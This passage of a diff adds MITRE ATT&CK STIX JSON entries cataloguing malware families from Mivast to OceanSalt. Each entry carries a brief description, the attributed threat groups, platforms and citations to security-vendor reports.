"http://www.symantec.com/security_response/writeup.jsp?docid=2015-020623-0740-99&tabid=2" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:54.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Mivast", + "x_mitre_aliases": [ + "Mivast" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MobileOrder](https://attack.mitre.org/software/S0079) is a Trojan intended to compromise Android mobile devices. It has been used by [Scarlet Mimic](https://attack.mitre.org/groups/G0029). (Citation: Scarlet Mimic Jan 2016)", + "id": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4", + "external_references": [ + { + "external_id": "S0079", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0079" + }, + { + "source_name": "Scarlet Mimic Jan 2016", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "x_mitre_version": "1.0", + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:53.681Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "MobileOrder", + "x_mitre_aliases": [ + "MobileOrder" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MoonWind](https://attack.mitre.org/software/S0149) is a remote access tool (RAT) that was used in 2016 to target organizations in Thailand. (Citation: Palo Alto MoonWind March 2017)", + "id": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1", + "external_references": [ + { + "external_id": "S0149", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0149" + }, + { + "source_name": "Palo Alto MoonWind March 2017", + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:33:27.016Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "MoonWind", + "x_mitre_aliases": [ + "MoonWind" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[More_eggs](https://attack.mitre.org/software/S0284) is a JScript backdoor used by [Cobalt Group](https://attack.mitre.org/groups/G0080). Its name was given based on the variable \"More_eggs\" being present in its code. There are at least two different versions of the backdoor being used, version 2.0 and version 4.4. (Citation: Talos Cobalt Group July 2018)", + "id": "malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4", + "external_references": [ + { + "external_id": "S0284", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0284" + }, + { + "source_name": "More_eggs", + "description": "(Citation: Talos Cobalt Group July 2018)" + }, + { + "source_name": "Talos Cobalt Group July 2018", + "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "More_eggs", + "x_mitre_aliases": [ + "More_eggs" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Mosquito](https://attack.mitre.org/software/S0256) is a Win32 backdoor that has been used by [Turla](https://attack.mitre.org/groups/G0010). [Mosquito](https://attack.mitre.org/software/S0256) is made up of three parts: the installer, the launcher, and the backdoor. The main backdoor is called CommanderDLL and is launched by the loader program. (Citation: ESET Turla Mosquito Jan 2018)", + "id": "malware--92b55426-109f-4d93-899f-1833ce91ff90", + "external_references": [ + { + "external_id": "S0256", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0256" + }, + { + "source_name": "Mosquito", + "description": "(Citation: ESET Turla Mosquito Jan 2018)" + }, + { + "source_name": "ESET Turla Mosquito Jan 2018", + "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Mosquito", + "x_mitre_aliases": [ + "Mosquito" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NDiskMonitor](https://attack.mitre.org/software/S0272) is a custom backdoor written in .NET that appears to be unique to [Patchwork](https://attack.mitre.org/groups/G0040). (Citation: TrendMicro Patchwork Dec 2017)", + "id": "malware--d1183cb9-258e-4f2f-8415-50ac8252c49e", + "external_references": [ + { + "external_id": "S0272", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0272" + }, + { + "source_name": "NDiskMonitor", + "description": "(Citation: TrendMicro Patchwork Dec 2017)" + }, + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "NDiskMonitor", + "x_mitre_aliases": [ + "NDiskMonitor" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NETEAGLE](https://attack.mitre.org/software/S0034) is a backdoor developed by [APT30](https://attack.mitre.org/groups/G0013) with compile dates as early as 2008. It has two main variants known as \u201cScout\u201d and \u201cNorton.\u201d (Citation: FireEye APT30)", + "id": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2", + "external_references": [ + { + "external_id": "S0034", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0034" + }, + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:27.787Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "NETEAGLE", + "x_mitre_aliases": [ + "NETEAGLE" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NETWIRE](https://attack.mitre.org/software/S0198) is a publicly available, multiplatform remote administration tool (RAT) that has been used by criminal and APT groups since at least 2012. (Citation: FireEye APT33 Sept 2017) (Citation: McAfee Netwire Mar 2015) (Citation: FireEye APT33 Webinar Sept 2017)", + "id": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", + "external_references": [ + { + "external_id": "S0198", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0198" + }, + { + "source_name": "NETWIRE", + "description": "(Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017) (Citation: McAfee Netwire Mar 2015)" + }, + { + "source_name": "FireEye APT33 Sept 2017", + "description": "O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html" + }, + { + "source_name": "McAfee Netwire Mar 2015", + "description": "McAfee. (2015, March 2). Netwire RAT Behind Recent Targeted Attacks. Retrieved February 15, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/netwire-rat-behind-recent-targeted-attacks/" + }, + { + "source_name": "FireEye APT33 Webinar Sept 2017", + "description": "Davis, S. and Carr, N. (2017, September 21). APT33: New Insights into Iranian Cyber Espionage Group. Retrieved February 15, 2018.", + "url": "https://www.brighttalk.com/webcast/10703/275683" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "NETWIRE", + "x_mitre_aliases": [ + "NETWIRE" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NOKKI](https://attack.mitre.org/software/S0353) is a modular remote access tool. The earliest observed attack using [NOKKI](https://attack.mitre.org/software/S0353) was in January 2018. [NOKKI](https://attack.mitre.org/software/S0353) has significant code overlap with the [KONNI](https://attack.mitre.org/software/S0356) malware family. There is some evidence potentially linking [NOKKI](https://attack.mitre.org/software/S0353) to [APT37](https://attack.mitre.org/groups/G0067).(Citation: Unit 42 NOKKI Sept 2018)(Citation: Unit 42 Nokki Oct 2018)", + "id": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a", + "external_references": [ + { + "external_id": "S0353", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0353" + }, + { + "source_name": "NOKKI", + "description": "(Citation: Unit 42 NOKKI Sept 2018)" + }, + { + "source_name": "Unit 42 NOKKI Sept 2018", + "description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/" + }, + { + "source_name": "Unit 42 Nokki Oct 2018", + "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-01-31T00:38:08.331Z", + "type": "malware", + "created": "2019-01-30T19:50:45.307Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "NOKKI", + "x_mitre_aliases": [ + "NOKKI" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Naid](https://attack.mitre.org/software/S0205) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Naid June 2012)", + "id": "malware--48523614-309e-43bf-a2b8-705c2b45d7b2", + "external_references": [ + { + "external_id": "S0205", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0205" + }, + { + "source_name": "Naid", + "description": "(Citation: Symantec Naid June 2012)" + }, + { + "source_name": "Symantec Naid June 2012", + "description": "Neville, A. (2012, June 15). Trojan.Naid. Retrieved February 22, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-061518-4639-99" + }, + { + "source_name": "Symantec Elderwood Sept 2012", + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Naid", + "x_mitre_aliases": [ + "Naid" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NanHaiShu](https://attack.mitre.org/software/S0228) is a remote access tool and JScript backdoor used by [Leviathan](https://attack.mitre.org/groups/G0065). [NanHaiShu](https://attack.mitre.org/software/S0228) has been used to target government and private-sector organizations that have relations to the South China Sea dispute. (Citation: Proofpoint Leviathan Oct 2017) (Citation: fsecure NanHaiShu July 2016)", + "id": "malware--705f0783-5f7d-4491-b6b7-9628e6e006d2", + "external_references": [ + { + "external_id": "S0228", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0228" + }, + { + "source_name": "NanHaiShu", + "description": "(Citation: Proofpoint Leviathan Oct 2017)" + }, + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + }, + { + "source_name": "fsecure NanHaiShu July 2016", + "description": "F-Secure Labs. (2016, July). NANHAISHU RATing the South China Sea. Retrieved July 6, 2018.", + "url": "https://www.f-secure.com/documents/996508/1030745/nanhaishu_whitepaper.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "NanHaiShu", + "x_mitre_aliases": [ + "NanHaiShu" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NanoCore](https://attack.mitre.org/software/S0336) is a modular remote access tool developed in .NET that can be used to spy on victims and steal information. It has been used by threat actors since 2013.(Citation: DigiTrust NanoCore Jan 2017)(Citation: Cofense NanoCore Mar 2018)(Citation: PaloAlto NanoCore Feb 2016)(Citation: Unit 42 Gorgon Group Aug 2018)", + "id": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676", + "external_references": [ + { + "external_id": "S0336", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0336" + }, + { + "source_name": "NanoCore", + "description": "(Citation: DigiTrust NanoCore Jan 2017)(Citation: Cofense NanoCore Mar 2018)(Citation: PaloAlto NanoCore Feb 2016)(Citation: Unit 42 Gorgon Group Aug 2018)" + }, + { + "source_name": "DigiTrust NanoCore Jan 2017", + "description": "The DigiTrust Group. (2017, January 01). NanoCore Is Not Your Average RAT. Retrieved November 9, 2018.", + "url": "https://www.digitrustgroup.com/nanocore-not-your-average-rat/" + }, + { + "source_name": "Cofense NanoCore Mar 2018", + "description": "Patel, K. (2018, March 02). The NanoCore RAT Has Resurfaced From the Sewers. Retrieved November 9, 2018.", + "url": "https://cofense.com/nanocore-rat-resurfaced-sewers/" + }, + { + "source_name": "PaloAlto NanoCore Feb 2016", + "description": "Kasza, A., Halfpop, T. (2016, February 09). NanoCoreRAT Behind an Increase in Tax-Themed Phishing E-mails. Retrieved November 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/02/nanocorerat-behind-an-increase-in-tax-themed-phishing-e-mails/" + }, + { + "source_name": "Unit 42 Gorgon Group Aug 2018", + "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/" + } + ], + "x_mitre_version": "1.0", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2019-04-17T20:47:23.692Z", + "type": "malware", + "created": "2019-01-29T20:05:35.952Z", + "x_mitre_platforms": [ + "Windows" + ], + "name": "NanoCore", + "x_mitre_aliases": [ + "NanoCore" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NavRAT](https://attack.mitre.org/software/S0247) is a remote access tool designed to upload, download, and execute files. It has been observed in attacks targeting South Korea. (Citation: Talos NavRAT May 2018)", + "id": "malware--53a42597-1974-4b8e-84fd-3675e8992053", + "external_references": [ + { + "external_id": "S0247", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0247" + }, + { + "source_name": "NavRAT", + "description": "(Citation: Talos NavRAT May 2018)" + }, + { + "source_name": "Talos NavRAT May 2018", + "description": "Mercer, W., Rascagneres, P. (2018, May 31). NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea. Retrieved June 11, 2018.", + "url": "https://blog.talosintelligence.com/2018/05/navrat.html" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "NavRAT", + "x_mitre_aliases": [ + "NavRAT" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Nerex](https://attack.mitre.org/software/S0210) is a Trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Nerex May 2012)", + "id": "malware--c251e4a5-9a2e-4166-8e42-442af75c3b9a", + "external_references": [ + { + "external_id": "S0210", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0210" + }, + { + "source_name": "Nerex", + "description": "(Citation: Symantec Nerex May 2012)" + }, + { + "source_name": "Symantec Elderwood Sept 2012", + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + }, + { + "source_name": "Symantec Nerex May 2012", + "description": "Ladley, F. (2012, May 15). Backdoor.Nerex. Retrieved February 23, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-3445-99" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Nerex", + "x_mitre_aliases": [ + "Nerex" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Net Crawler](https://attack.mitre.org/software/S0056) is an intranet worm capable of extracting credentials using credential dumpers and spreading to systems on a network over SMB by brute forcing accounts with recovered passwords and using [PsExec](https://attack.mitre.org/software/S0029) to execute a copy of [Net Crawler](https://attack.mitre.org/software/S0056). (Citation: Cylance Cleaver)", + "id": "malware--fde50aaa-f5de-4cb8-989a-babb57d6a704", + "external_references": [ + { + "external_id": "S0056", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0056" + }, + { + "source_name": "Cylance Cleaver", + "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:38.851Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Net Crawler", + "x_mitre_aliases": [ + "Net Crawler", + "NetC" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NetTraveler](https://attack.mitre.org/software/S0033) is malware that has been used in multiple cyber espionage campaigns for basic surveillance of victims. The earliest known samples have timestamps back to 2005, and the largest number of observed samples were created between 2010 and 2013. (Citation: Kaspersky NetTraveler)", + "id": "malware--cafd0bf8-2b9c-46c7-ae3c-3e0f42c5062e", + "external_references": [ + { + "external_id": "S0033", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0033" + }, + { + "source_name": "Kaspersky NetTraveler", + "description": "Kaspersky Lab's Global Research and Analysis Team. (n.d.). The NetTraveler (aka \u2018Travnet\u2019). Retrieved November 12, 2014.", + "url": "http://www.securelist.com/en/downloads/vlpdfs/kaspersky-the-net-traveler-part1-final.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:25.361Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "NetTraveler", + "x_mitre_aliases": [ + "NetTraveler" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Nidiran](https://attack.mitre.org/software/S0118) is a custom backdoor developed and used by [Suckfly](https://attack.mitre.org/groups/G0039). It has been delivered via strategic web compromise. (Citation: Symantec Suckfly March 2016)", + "id": "malware--9e9b9415-a7df-406b-b14d-92bfe6809fbe", + "external_references": [ + { + "external_id": "S0118", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0118" + }, + { + "source_name": "Symantec Suckfly March 2016", + "description": "DiMaggio, J.. (2016, March 15). Suckfly: Revealing the secret life of your code signing certificates. Retrieved August 3, 2016.", + "url": "http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:33:09.842Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Nidiran", + "x_mitre_aliases": [ + "Nidiran", + "Backdoor.Nidiran" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NotPetya](https://attack.mitre.org/software/S0368) is malware that was first seen in a worldwide attack starting on June 27, 2017. The main purpose of the malware appeared to be to effectively destroy data and disk structures on compromised systems. Though [NotPetya](https://attack.mitre.org/software/S0368) presents itself as a form of ransomware, it appears likely that the attackers never intended to make the encrypted data recoverable. As such, [NotPetya](https://attack.mitre.org/software/S0368) may be more appropriately thought of as a form of wiper malware. [NotPetya](https://attack.mitre.org/software/S0368) contains worm-like features to spread itself across a computer network using the SMBv1 exploits EternalBlue and EternalRomance.(Citation: Talos Nyetya June 2017)(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPetya 2017)", + "id": "malware--5719af9d-6b16-46f9-9b28-fb019541ddbb", + "external_references": [ + { + "external_id": "S0368", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0368" + }, + { + "source_name": "GoldenEye", + "description": "(Citation: Talos Nyetya June 2017)" + }, + { + "source_name": "Petrwrap", + "description": "(Citation: Talos Nyetya June 2017)" + }, + { + "source_name": "Nyetya", + "description": "(Citation: Talos Nyetya June 2017)" + }, + { + "source_name": "Talos Nyetya June 2017", + "description": "Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019.", + "url": "https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html" + }, + { + "source_name": "US-CERT NotPetya 2017", + "description": "US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-181A" + } + ], + "x_mitre_version": "1.0", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2019-04-24T20:02:44.931Z", + "type": "malware", + "created": "2019-03-26T15:02:14.907Z", + "x_mitre_platforms": [ + "Windows" + ], + "name": "NotPetya", + "x_mitre_aliases": [ + "NotPetya", + "GoldenEye", + "Petrwrap", + "Nyetya" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OLDBAIT](https://attack.mitre.org/software/S0138) is a credential harvester used by [APT28](https://attack.mitre.org/groups/G0007). (Citation: FireEye APT28) (Citation: FireEye APT28 January 2017)", + "id": "malware--2dd34b01-6110-4aac-835d-b5e7b936b0be", + "external_references": [ + { + "external_id": "S0138", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0138" + }, + { + "source_name": "FireEye APT28", + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + }, + { + "source_name": "FireEye APT28 January 2017", + "description": "FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved January 11, 2017.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:33:18.946Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "OLDBAIT", + "x_mitre_aliases": [ + "OLDBAIT", + "Sasfis" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OSInfo](https://attack.mitre.org/software/S0165) is a custom tool used by [APT3](https://attack.mitre.org/groups/G0022) to do internal discovery on a victim's computer and network. (Citation: Symantec Buckeye)", + "id": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8", + "external_references": [ + { + "external_id": "S0165", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0165" + }, + { + "source_name": "Symantec Buckeye", + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "OSInfo", + "x_mitre_aliases": [ + "OSInfo" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) is a MacOS backdoor that has been used by [APT32](https://attack.mitre.org/groups/G0050).(Citation: TrendMicro MacOS April 2018)", + "id": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29", + "external_references": [ + { + "external_id": "S0352", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0352" + }, + { + "source_name": "OSX_OCEANLOTUS.D", + "description": "(Citation: TrendMicro MacOS April 2018)" + }, + { + "source_name": "TrendMicro MacOS April 2018", + "description": "Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "macOS" + ], + "modified": "2019-01-30T19:18:19.667Z", + "type": "malware", + "created": "2019-01-30T19:18:19.667Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "OSX_OCEANLOTUS.D", + "x_mitre_aliases": [ + "OSX_OCEANLOTUS.D" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OceanSalt](https://attack.mitre.org/software/S0346) is a Trojan that was used in a campaign targeting victims in South Korea, United States, and Canada. [OceanSalt](https://attack.mitre.org/software/S0346) shares code similarity with [SpyNote RAT](https://attack.mitre.org/software/S0305), which has been linked to 